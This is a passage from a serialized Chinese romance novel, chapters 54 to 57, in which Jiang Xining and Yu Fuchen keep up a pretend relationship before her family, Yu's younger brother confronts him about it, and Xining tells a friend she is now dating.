“于总是客人,让你帮忙,显得我们姜家待客不周。”姜明初的声音不疾不徐,语气带着一贯的从容与风度。即使于付忱是他的情敌,他依旧保持着表面的礼数,不让自己失了该有的礼数。
他作势去拿花篮,于付忱没松手。
一个花篮在两个男人的手上,移动了一个来回。
于付忱:“客气了。”
他的语气和动作都极其自然,又说:“我是帮女朋友。”
女朋友三个字,在他嘴里说得理所当然,虽然已经做过心理建设,但江熙宁还是
怔住片刻,不受控制地颤了一下。
偏偏这人,目光平静的看着她,似乎是在用眼神和她确认这么说有什么问题。
没什么问题。
==
如果样子都不装装,这个带回家的男朋友和她刚才大言不惭的那句“一直暗恋她”就太没说服力了。
江熙宁干脆将手中的剪子递给于付忱。
“那你来剪?”
“手受伤了?”于付忱细心的注意到她划伤的大拇指。
经他提醒,江熙宁才后知后觉的感觉到手指上细微的刺痛,她的右手大拇指,在流血。
“应该是刚才被刺扎到了。”
闻言,姜明初也过来查看情况。
“家里有创口贴和碘伏,去消毒。”
“我去吧。”于付忱顺势把剪刀递给姜明初,“姜总说的对,我毕竟是客人。”
姜明初:“……”
江熙宁接过话:“小伤。明初哥你帮我再剪一些。”
姜明初对她向来有求必应,温声道:“好,需要多少?”
家里的鲜花平常只要江熙宁回来,都会给家里换上新鲜的,几个花瓶需要多少数量她心里有大概估计:“再有十一朵差不多够了。”
想了想又说:“要一些花苞,能放久些。”
于付忱转身走了出去。
-
走出花房,姜海澎坐在茶桌边看手机新闻,偶尔和人回语音,应该是在回工作上的消息。
江熙宁看着已经收起来的棋盘:“棋局这么快结束了?”
说好饭前分胜负,她都没来得及打探清楚姜明初到底什么重要的事情喝姜爸吵架。
姜海澎微微一笑,意味深长的说:“有人
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啊,不专心。”
他看的分明,今日的黑子没有上次缠斗厮杀的意图,接连被吃,看似“大意”,实则“刻意”。尤其是江熙宁跟着姜明初走开后,局势瞬间就倾斜,根本没有丝毫悬念。
于付忱:“姜叔棋艺精湛。”
姜海澎听后哈哈大笑。
江熙宁看姜海澎发现于付忱故意让棋,找了个理由,拉着于付忱去了梁媛的画室。
“我就说你输的太明显,会被我姜爸发现。”她说着,从医疗箱里取出碘伏和创可贴。划破口子的位置是大拇指,浅浅的一道。瓶中的棉球所剩无几,只有薄薄的一层躺在瓶底。江熙宁用左手握住镊子去取棉签,因惯用右手,动作略显笨拙,镊子夹住棉球,却在靠近瓶口时不小心让它掉了回去。
于付忱伸过手,示意她把碘伏给他。
“不用。”江熙宁下意识拒绝。反正里面剩的碘伏棉球不多,她干脆用大拇指去够。
“嗯?”于付忱唇角绷直:“只让姜明初帮忙?”
提到姜明初,江熙宁不由得想起他刚才在花房里对自己说的话。
“一会儿我们可能要注意点了。”她有些郁闷的贴上创口贴:“姜明初还是太了解我了,他不相信我会和一个刚见没多久的人在一起。”
“刚见没多久?”于付忱眸光微顿,随即又不紧不慢的说了句。
“我不是从大学就一直暗恋你了。”
“……”
她这不是为了让可信度更高一点嘛?
江熙宁闷哼声:“姜明初没信,不是正说明这话一眼假。”
于付忱:“……”
55. 第 55 章
于天文给于付忱又打了个电话。
遭受他哥经济制裁那阵,他摇身一变成了负二代。后来,因为保证努力工作,才争取到现在每个月财务给他发一份工资。
这是他唯一的收入来源。
然后,第一个月领到工资的第一天,他就月光了。
具体钱怎么没的,他也不是太清楚。
反正肯定不是他在纸醉金迷里淌没的。毕竟一瓶贵的酒都买不起。别看平日里酒肉朋友多,这个时候没人敢喊他,那些个这派对、那趴体的,哪个不是东家轮完轮西家。他现在的情况,也不好意思去。去了,兜里没钱,脸上没面。
那这钱是怎么没的,于天文也是纳闷。
吃饭、加油(现在开的小破车都不用98号汽油)、喝杯奶茶、吃了点水果?好像也就干了这些,这钱就稀里哗啦的流完了。
现在的物价,也不知道是根据谁的工资设计的。照他看,上班族真是仙人,这都能顽强的生存下来。
反正他不行。
于天文找财务去预支过一个月薪水,被财务总监以“于总特别交代过”为由,笑着脸拒绝。
难受。
真难受。
上一个月是悲惨世界。他想着中午靠蹭公司的工作餐,晚上街边随便吃点儿便宜的挨过去,谁能想,一碗普普通通麻辣烫一上称就要四十多。
……
最终于天文靠吃泡面,撑完第一个月。
于天文这个从小含着金汤匙的公子哥,第一次真切感觉到:钱难挣,屎难吃。
这个月距离发工资还有半个月,不想昨天陪池延去了趟酒吧,直接清空了他卡里余额。原本池延会买单,但池延伤心酒下肚,最后醉成一滩烂泥,压根不省人事。
于天文想起最近给于付忱推荐了那么多好吃的餐厅,他哥要完地址,收藏完,从没带他去吃过一次!
这很不合理。
因为在吃这件事情上,于付忱是一个不挑食的人。
从小在于家,就没有允许小孩子浪费食物的规矩。餐桌上,他们就被于向华教育,粮食最主要的目的是果腹。健康就好,绝对不可以浪费,更不可以挑三拣四。
家里的厨师做什么,他们便只能吃什么。
在这种严苛的家规下,于付忱适应良好,于天文不行。
他忍无可忍,千方百计闹出国。
结果发现国外的更难吃。
于付忱不接电话。
这么一下午,那应该是不想接。
于天文感慨他哥,太无情。
有时候,于天文对他哥又敬又怕。因为他哥年纪轻轻,就表现出一种极度克己、自律的人机感。冷漠。
甚至在谈恋爱这件事情上,都有一种唐僧附体,修断情绝爱无情道的意思。
家里安排的那么多联姻千金,都被他拒之于千里之外外。
冷冷的,酷倒是挺酷的。
只是不知道他哥老了,什么都做不,孤家寡人的时候会不会后悔这一辈子,爱恨都没做过。
于天文顺其自然的想到了江熙宁。
也不知道她最近忙不忙,这会儿吃没吃饭,和谁在一起。
-
吃完晚饭,于付忱把江熙宁送回芳满庭。
车子从姜家开出时,江熙宁连忙问起吃饭前,姜明初和他在露台都聊了什么。
江熙宁:“明初哥是不是试探你了?”
于付忱:“嗯。”
果然。
江熙宁:“他肯定看出我们在撒谎。”
得到了肯定的回答。
这悬着的心,也就不用悬着了。
江熙宁:“我得找他说清楚。”
她和于付忱合作,是有很重要的事情等着她去完成。
于付忱看她一眼:“你应该考虑的是,他为什么能一眼看出我们是假的。”
江熙宁愣了愣,很有道理。
有则改之,无则加勉,
姜明初知道了她这么做的用意,一定不会阻止她。
但如果以后接触的次数多了,难免姜爸还有于茂林看出两人是假的。
江熙宁思考时,车子缓缓的从12栋门口经过。
于天文回到碧湖湾时,他哥仍杳无音讯。
他又打了个电话问肖易,肖易正和从青城赶来的女朋友小别胜新婚,说于付忱去朋友家里下棋去了,至于具体是谁,他并不清楚。
于天文想让他帮忙问问他哥在哪,但打断人约会已经很不好意思了,再麻烦人打电话给帮他问,也不合适。
肖易问他着急吗?
于天文只好说不急不急,挂了电话。
关于于付忱下围棋这特长,也是于向华的培养。
他哥在棋艺上的造诣,如果不是家里需要他打理集团,去当个围棋选手,说不定也能为国争光。
这一点于向华颇为欣慰,他一贯说,围棋最能磨练人的耐心、心性,可是于天文小时候,那围棋凳子是一点坐不住。
于天文原本一直觉得,自己没学好围棋也没什么大不了的。可自从上次去了江熙宁家,他突然有点后悔,当初如果能耐着性子学一学,现在或许还能派上些用场,在她爸爸面前多表现表现。
正想着,一辆熟悉的黑色SUV缓缓从他眼前开过去。
夜色沉沉,黑色的车玻璃,看不清里面的人是谁。
但这车,于天文太熟悉了。
正是于付忱的那辆。
车内。
于付忱的手机突然震动起来,屏幕幽幽亮起。
江熙宁的视线不经意间落在手机屏幕上,来电人显示:于天文。
于付忱偏头到了一眼,却没有伸手去接。
于天文便继续打。
想到两人的合作内容,江熙宁问:“我来接?”
于付忱扬眉,猜到她的用意,但没想到她会主动提。
江熙宁解释:“测试下,你弟弟能不能看出我们是假的。”
于付忱把手机递给了她。
江熙宁拿到他的手机,右手一划,接听。
为了方便于付忱也听见,她特意点了免提。
“哥!你在哪?”
于天文的声音听起来有些激动,江熙宁的手被声波震的微微发麻。
她说:“你哥在开车。”
电话那头的于天文听到她的声音,登时迟疑两秒:“……宁宁?”
江熙宁:“你哥在开车,所以不方便接电话。”
于天文很想说,那他以前怎么接的,但忍住了。眼下不是重点。<
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p>“你们现在在一起?”
江熙宁:“是啊。”
于天文瞬间反应过来,约于付忱去下棋的人是谁。
“我刚刚看到我哥的车,从你家出来。”他语气小心翼翼地问:“叔叔找我哥下棋吗?”
江熙宁又说是。
“老丈人要见丑女婿。”
“!”
于天文那边久久没了声音。
江熙宁在想自己是不是发挥过头。
她扭过头,看见于付忱看了她一眼,似是无声哂笑了声。
过了足足有一分钟,于天文缓过神,“你把电话给我哥。”
江熙宁乖乖的把手机递过去。
于天文:“哥,你和宁宁——”
于付忱出声打断,“以后叫嫂子。”
江熙宁:“……”
-
到了芳满庭,车被两辆搬家的货车堵住了路口。
开不过去。
隔壁的男人恰好出来,他和搬家工人说这话,嘴里叼着一根烟,视线朝江熙宁家看了眼。
于付忱看着来来回回搬家具的工人,问:“你隔壁住了什么人?”
江熙宁对隔壁邻居的情况不太清楚,没具体问。之前物业张经理提过,说两人婚结不成了,今天家具都搬走了,看样子是真的。
她想了想,说:“一对刚分手的准夫妻。本来这房子急着装修,是打算当婚房的,结果婚前发现不合适,最后闹掰了。”
临别时,江熙宁问:“你回碧湖湾?”
于付忱:“回酒店。”
“那你早点回去,路上注意安全。”
“好。”
于付忱没有急着离开,手指轻敲着方向盘,目光落在江熙宁的身影上,直到她开门进屋,屋内的灯光亮起。
他这才收回视线,拿起手机,点开房产交易软件。
输入芳满庭三个字。
网页刚加载出几条房源信息,屏幕一亮,江印的电话弹了出来,打断了他的浏览。
江印和他汇报了近期工作上的进度,上次提出的几个技术上的问题解决的都差不多了。
于付忱:“辛苦。”
末了,于付忱又问起他买房的事,“房子选好了?”
江印:“差不多了。”
于付忱:“在哪?”
江印把选的几个楼盘位置发给他。
离这儿开车基本都需要十多分钟的路程。
于付忱:“你不是要离你妹妹近,定这么远?”
江印无端感慨:“说起来,姜家是真舍得给我妹花钱。”
他顿了顿又说:“我妹妹住的那一片,也算是宁城高档的小区,房子价格都不便宜。”
于付忱听出他话里的意思,淡淡道:“不用考虑钱的问题。”
他抬头,扫了眼远处的房子,“距离你回来时间很近了,你安心把最后几个问题解决,房子的事我让肖易帮你找。”
江印听他这么说自然高兴,工作每天强度大,他还需要兼顾毕业,正忙的不可开交:“谢了,兄弟!”
挂了电话,于付忱把刚才浏览的网页信息转发给肖易。
【江印总马上要回来,你帮他安排住处。】
【他想离他妹妹近一点,越近越好。】
56. 第 56 章
回到家的江熙宁,困意来的特别快,可能是因为今日发生了许多的事。让她消耗了太多的精力。连细细复盘姜明初是从哪些细节上发现,以及自己是怎么翻车的精力都没了。
洗完澡躺上床时,乔西娅发来消息,约她一起去参加游艇聚会。
乔西娅:【宁宁,今天全宁城的单身帅哥都来了。】
江熙宁珍惜自己的睡意,回她:【不了,我要睡美容觉了。】
乔西娅:【?这才几点。】
江熙宁:【所以才叫美容觉。】
乔西娅:【……】
乔西娅:【别睡啊,前两天你不是还闹着说要破玄学?今天这么好的机会。】
江熙宁还没来得及告诉乔西娅她和于付忱契约情侣的事儿。之前看到真爱画像后,江熙宁不信什么玄学,更没想过急急吼吼的去找个对象就能验证玄学是子虚乌有的事情。不想,乔西娅倒是热络上了,最近聚会活动安排的比往日里更丰富。
江熙宁输入:【直面玄学,才是破除的最好办法。】
发完消息,她把手机丢到了一边。
临睡前,想到今日在寺里的决定。
冲动当然是更多,但事实证明于付忱的确是一个超出要求太多的合作对象,比她想象中的也合拍的多。回来路上,她只是临时起意替他接电话,现在回想起来从电话里的震惊来看,这波冲击力对于天文应该不小。
算了,困意当头,让于付忱去头痛吧。毕竟这事儿的若论功行赏,军功章也有他的一半。他那句“叫嫂子”,杀伤力毫不逊色。
-
另一边,于付忱回到酒店的时候,于天文已经在他房门口等着了。见他回来,于天文从柔软的地毯上蹭的站起身。
西装裤的膝盖窝里满是褶皱。
脸上的表情也是皱的。
于天文胸膛起伏,无比气愤,目光死死的盯着于付忱。
“哥,你为什么和宁宁在一起?”
于付忱连看都没看他,漠然打开房门,径直进了屋。
于天文快步跟了上去。
在门口的那一个多小时里,他想明白了很多事情。
当初来宁城,明明是于付忱做的决定让他来的,为什么这一次却这么狠心的让他回青城去。一想到正是因为自己,他哥才会去画廊和江熙宁发生交集,他的心里就无比愤怒。他可从未对于付忱设防,而他一向亲爱的、倚重的哥哥又是怎么做的呢?
大义凌然的劝诫他要“距离产生美”!
而他傻傻的,全然不觉这番举动竟是出自于什么样的目的。
“什么距离产生美,都是屁话!”于天文看向他从小崇拜、倚重的哥哥:“全是为了方便你自己下手是不是!”
于付忱只是冷冷的瞥了于天文一眼,“要不要看看自己现在的样子有多丑?”
于天文只觉得体内有什么东西莫名冲上天灵盖,导致手比大脑做出行动,等反应过来时,他已经一把抓住于付忱的衣领。
“那也是被你逼的,你是我亲哥!你明知道我喜欢宁宁。”
谁都可以追江熙宁,于天文不在乎,但是于付忱不行。
他们可是同父同母,一个娘肚子里出来的手足啊!
这种感觉就像背叛一样。
于向华一向教导他们手足情深,兄弟是世界上最重要的人。纵然是生气,他刚才也只是揪了一把于付忱的衣领,如果是别人,如果是池延,这会儿他铁定挥拳头了。
这兄弟不要做了。
此时此刻,于付忱脸上全然是肃冷的神情。瞬秒的光景,他单手便拧开于天文的手,按住他的肩头将他推远。
动作利落干脆,几乎在一瞬完成,于天文却后退两步才站稳,他心中奔大溃,挫败感极强,他哥力气也比他厉害……
“喜欢又怎么样?喜欢就属于你?”于付忱冷声问:“还是说,因我是你哥,我就该让着你?”
于天文愣了一瞬,再次破防。
这还是他那个一切以事业为重,一直无条件爱护他的哥哥吗?
怎么他都快不认识了。
于付
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忱今日本心情不错,本不想开口教育。
但见这眼下情形,一个巨婴的形象和眼前的人重叠。于天文就是被保护的太好了,仗着贺韫的宠爱,从小不想做的事,要想要的东西,吵一吵,哭一哭,闹一闹,就能轻易得到他想要的。上学那会儿也是,仗着叛逆期故意把成绩考的稀烂惹爷爷生气,逼着贺韫想办法把他偷送国外去,最终把于向华气的半死,当场直言就当没这个孙子。
原本以为,国外的自由、民主是更因材施教。
不想,只助长了懈怠、脾气和无能的愤怒。
于付忱说:“没有能力,你就要接受,别人不选你。”
于天文被踩中自尊,感觉有人往他的心里一杯一杯的倒柠檬汁,整个胃里都是酸的。那些不断的漫溢的酸液流入了他的心脏,肺部,于是说出口的话,呼出的气都变得尖酸刻薄起来。他指责他哥卑鄙、下三滥、见色忘义、色令智昏,能用的词都用上,什么难听的话都攻击出来。
偏偏他哥说的每句话都没错。这些年他确实没做出什么建树,毕竟不是谁都能成为像他哥一样的强者,对自己那么狠,几十年如一日的自律、刻苦,在腥风血雨、困难艰险中去攀登那高处不胜寒的山顶。
但难道就因为这样,弱者就不配拥有爱情啦?
于天文:“你能力强,你有能耐,我佩服行了吧!但别人和抢我都认了。但你是我哥,就是不行!”
“抢?”于付忱说:“首先得先是你的。”
“我们可是亲兄弟!”
“我可以没有兄弟。”
于天文顿时愣了。
他不敢相信,他哥竟然对他说这么重的话,因为一个女人和他翻脸。
于付忱在于天文愣神时,顾自脱下西装,松开衬衫上面的两颗扣子,去了浴室。
这时阿旻敲开房门,对着于天文做了个请的手势。
“小于总,快十一点半了,于总要休息了。”
于天文就这么被请了出去,他再不甘心再不想走,也知道谁都不能破坏他哥的规矩。
57. 第 57 章
窗外点点明亮的星子,像眼睛似的眨。江熙宁盯着落在床前青白的月光,无意识重播了这条语音。
于付忱的语气不急不缓,漫不经心中带着认真。
她犹豫了一瞬,一个字一个字敲:【好习惯为什么要改?】
于付忱几乎是秒回:【你觉得呢。】
夜晚是胡思乱想的温床,因为他的话,江熙宁不受控的忐忑,心跳莫名,她没继续深想原因。指尖在输入框周围摇摆时,于付忱又连发两条消息。
于付忱:【手机二十四小时开着,任何事都可以发消息给我。】
于付忱:【早点睡,锁好门。】
江熙宁:【哦。】
大概是这个“哦”字,给了手机另一端的人一种不情愿的揣测。
于付忱问她:【是要听睡前故事?】
……
关于睡前故事,这又是另外一个故事了。
江熙宁睡眠质量不好是自小有的,家里人和身边要好的朋友都知道,李晋许自然也是知道的。两人热恋期,她没少让李晋许哄她讲睡前故事。
大概是被于付忱听了去。
她想到以前那些矫揉的少女的行径,被误会“娇气”倒也不算冤枉。
……
-
因为夜里没睡好,江熙宁早上起来一照镜子,发现下巴上竟然冒出一颗醒目的痘痘。她从来没长过这东西,家里没有可以祛痘的工具,上网搜索了一番快速祛痘的办法,最终还是决定跑去药店买了药膏涂上,怕化妆闷着不容易好,素着一张脸便出了门。
刚到办公室放下包包,江熙宁听见高跟鞋声和铃声交错响起。乔西娅单手托着咖啡进了门。
见到江熙宁,乔西娅再次掐掉响起的电话。
这大早上纠缠的只能是男人,而且是被无情抛弃的那种。乔西娅喝酒消遣,走肾不走心,图的是个开心。遇到像今天这样事后痴缠不休的,以往就会搬出江印当挡箭牌,编排一通被青梅竹马、白月光伤了心,再也不会爱了的渣女剧本,劝退那些追求者。
但最近江印在乔西娅这里是禁忌,这理由没见她用。
江熙宁看乔西娅烦得直接把手机关了,笑道:“世上伤心人再添一员。”
乔西娅没搭腔,倒是一眼注意到今日素颜的江熙宁和她脸上拔地而起的红点,惊奇道:“昨天不是说睡美容觉,睡出痘痘来了?”
“唔~没睡好,失眠了。”江熙宁下意识用手去摸这颗红痘刺客,冒出的红点有碍观瞻也就算了,那一圈的皮肤像是被人在拉扯似的,隐隐涨痛。
乔西娅见状放下咖啡,拦住江熙宁的手:“别摸,会烂脸!”
江熙宁顿时止住。
“你说你,还不如和我出去玩。我的美容酒都比你美容觉靠谱。”
“……”
乔西娅无论是熬夜还是通宵,只需一杯咖啡或者打个十几分钟的小盹,便能立刻恢复了元气,精神百倍。
她不行,熬一晚上,需要无数晚来补。
江熙宁对此也很费解,“怎么你熬夜一点事没有,我只是睡的晚了点,这玩意儿就刺客我?”
“想知道你为什么长青春痘吗?”
江熙宁认真的想了想:“说明我正青春?”
“NONONO——”乔西娅一副经验丰富的模样:“说明你的身体在想男人。”
……
江熙宁的脑海中一瞬闪过昨日的梦境内容。
意识到自己不可控的浮现不可描述的画面,她顺手抄走了乔西娅的咖啡。
清醒清醒。
“你喝这个。”乔西娅拿出一盒茶罐递给她,包装上印着“菊花”的图样和一个设计感十足的茶字。
她笑眯眯道:
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“咖啡又不能泻火。”
江熙宁:“我泻泻你!”
两人塑料完。乔西娅也没再继续打趣江熙宁,问道:“以前你睡晚,也没见你长过。昨天的相亲对象招你烦了?”
江熙宁的还没告诉乔西娅她的相亲对象是于付忱。这时,乔西娅看见江熙宁桌上的白玉菩提手串,昨天她去姜家前,把手串单独从包里拿出来,挂在了装饰的托盘上。
乔西娅:“相亲对象送的。”
江熙宁:“嗯。”
乔西娅:“姜叔这回给你介绍了个老男人?”
江熙宁愣了,想到于付忱平日里总是一副超出年龄人的沉稳样,差点没忍住笑。
她没急着否认乔西娅的话,问:“怎么得出的结论?”
“你看池延他们这几个二代公子哥,追女生哪个不是喜欢砸钱买钻石珠宝奢侈品,送这东西怎么让他们私底下攀比。再说了,宁城能符合姜叔标准的这两年都筛选遍了,再要扩大范围,要么非宁城的,要么扩大筛选的年龄范围。”
乔西娅边说,边拿起手串上的名牌来看,“前者你才不舍得我和画廊。所以只能是后者。后者,那可不就老男人了。”
“……”
江熙宁不由替于付忱解释了句:“他最多算成熟吧,年纪和我们一般大。”
乔西娅这还是头一回看江熙宁维护相亲对象,有些吃惊。
以她对江熙宁的了解,找对象的标准和选画的偏好就没什么不同,外观和内在、形式和内容都喜欢情感热烈而具象的。成熟的男人情绪稳定,对什么事都平淡无波,结婚行,谈恋爱就无趣很多。
不过,想到近期江熙宁预定了经安之后的作品,大有偏爱内敛有序的水墨画趋势,乔西娅又不那么确定了,“你不会真喜欢上了吧?”
江熙宁见她这反应,忽闪睫毛,答:“谈上了。”